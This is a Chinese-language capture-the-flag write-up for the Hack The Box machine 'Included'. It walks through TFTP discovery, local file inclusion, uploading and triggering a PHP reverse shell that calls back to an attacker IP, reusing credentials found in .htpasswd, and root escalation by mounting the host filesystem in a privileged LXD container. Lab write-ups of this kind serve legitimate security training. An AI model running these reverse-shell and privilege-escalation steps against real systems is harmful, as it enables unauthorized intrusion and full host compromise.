Hack The Box - Included

答：TFTP

-sU udp方式扫描，扫描效率较慢

答：Local File Inclusion

发送80端口开放

访问一波，看到URL有?file=home.php，可能存在文件包含漏洞（Local File Inclusion）

答：/var/lib/tftpboot

尝试一波目录穿越访问/etc/passwd，获取默认文件夹为/var/lib/tftpboot

tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
各字段详细说明：

1、用户名 用户的登录名

2、密码占位符 一般为x或* x表示密码被存储在/etc/shadow文件中

3、用户ID 每个用户在系统中有一个唯一的数字标识符。系统和管理账户通常有特定的 UID（如 root 的 UID 为 0）。普通用户的 UID 从 1000 开始。

4、组ID 指定用户所属的主要用户组的数字标识符。系统将用户分配到一个或多个组，每个组也有一个唯一的 GID。

5、用户信息 用于存储用户的全名或其他描述信息。

6、主目录 用户登录后默认的工作目录。如果用户的主目录不存在，用户将无法登录。

7、登录shell 用户登录后所使用的 shell。它可以是 /bin/bash、/bin/sh、/usr/sbin/nologin 等。usr/sbin/nologin 表示用户不能通过常规方式登录系统。

这里考虑利用TFTP服务上传木马，反弹shell，再进一步查看Web服务器文件夹。

构造反弹shell木马，木马如下，修改攻击机ip为10.10.16.3，指定端口1234

raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

TFTP服务连接并上传木马

本地开启1234端口监听连接

利用文件包含漏洞访问TFTP默认存储路径下，我们上传的木马文件，触发连接。

成功反弹shell，有告警，连接不稳定

/bin/sh: 0: can't access tty; job control turned off

执行命令

script /dev/null -c bash 

重定向并建立一个稳定的会话。

在网站目录下查看当前文件夹，这里重点查看.htaccess和.htpasswd，看能不能获取信息。

在.htpasswd文件里面发现了一个用户名为mike，口令为Sheffield19，可用于横向移动。

答：.htpasswd

答：lxd

切换至mike用户，id查看当前用户组

这里需要进一步提权，参考文章lxd/lxc Group - Privilege escalation | HackTricks

提权思路：利用Alpine镜像，下载并在本地构建后，使用HTTP服务器将其上传到远程系统。然后将镜像导入到LXD中，并使用它来挂载主机文件系统获取根特权。

答：alpine

首先安装go环境
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools

构建lxd distribution builder
 git clone https://github.com/lxc/distrobuilder
 cd distrobuilder
 make

构建过程踩了两个雷，一个是下载模块超时问题

解决使用go get 下载模块下载超时的问题_go: downloading超时-CSDN博客

还有一个就是后续执行发现不支持build-lxd，找到了类似问题是版本过高

Starting point: Included, problem building Alpine - HTB Content - Hack The Box :: Forums

于是换了一个distrobuilder-2.0版本构建

tar wget https://github.com/lxc/distrobuilder/archive/refs/tags/distrobuilder-2.0.zip

解压完进入目录后，再make一下

下载Alpine YAML

mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

最后执行build-lxd时又出问题了

修改一下files下的generator值，有非预期的值incus-agent，修改为lxd-agent即可解决这个问题

成功执行生成镜像

sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18

生成了lxd.tar.xz和rootfs.squashfs两个文件，这里开启服务器供目标机器下载，把文件传过去

python -m http.server 8000

wget http://10.10.16.4:8000/lxd.tar.xz

wget http://10.10.16.4:8000/rootfs.squashfs

查看一下镜像列表，已经成功导入了

lxc image list

设置security.privileged为ture，这样容器就能拥有根文件系统拥有的所有特权
lxc init alpine privesc -c security.privileged=true

在 LXC 容器中添加一个磁盘设备并挂载到/mnt文件夹
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

答：security.privileged=true

启动容器，开启root shell完成提权。

启动容器
lxc start privesc
开启shell
lxc exec privesc /bin/sh

查看当前用户id，是root用户。

答：/mnt/root/

用户flag在/home/mike/user.txt里面

root flag在/mnt/root/root/root.txt

拿下Included！